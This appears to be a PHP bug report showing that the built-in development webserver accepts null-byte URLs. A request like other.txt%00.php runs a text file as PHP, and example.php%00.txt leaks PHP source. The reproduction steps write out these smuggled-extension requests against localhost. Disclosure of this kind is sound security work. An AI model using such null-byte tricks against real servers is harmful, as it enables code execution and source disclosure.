Description:
------------
By using a null byte to append an extra file extension to requests made to the 
built-in webserver, it's possible to cause files accessible to the server to be 
executed as PHP (or not, as the case may be).

This behavior is similar to behavior exhibited by older versions of nginx (see 
https://bugs.launchpad.net/ubuntu/+source/nginx/+bug/783508).

Test script:
---------------
- Create a directory

- Add a file named example.php to the directory with the following contents:
<?php phpinfo();

- Add a file named other.txt to the directory with the following contents :
<?php phpinfo();

- Launch the server from that directory using php -S localhost:8000

- Browse to http://localhost:8000/example.php

- Browse to http://localhost:8000/example.php%00.txt

- Browse to http://localhost:8000/other.txt

- Browse to http://localhost:8000/other.txt%00.php

Expected result:
----------------
- Browse to http://localhost:8000/example.php: output of phpinfo()

- Browse to http://localhost:8000/example.php%00.txt: 400 Bad Request

- Browse to http://localhost:8000/other.txt: text file

- Browse to http://localhost:8000/other.txt%00.php: 400 Bad Request

Actual result:
--------------
- Browse to http://localhost:8000/example.php: output of phpinfo()

- Browse to http://localhost:8000/example.php%00.txt: Text file containing 
contents of example.php

- Browse to http://localhost:8000/other.txt: text file

- Browse to http://localhost:8000/other.txt%00.php: output of phpinfo()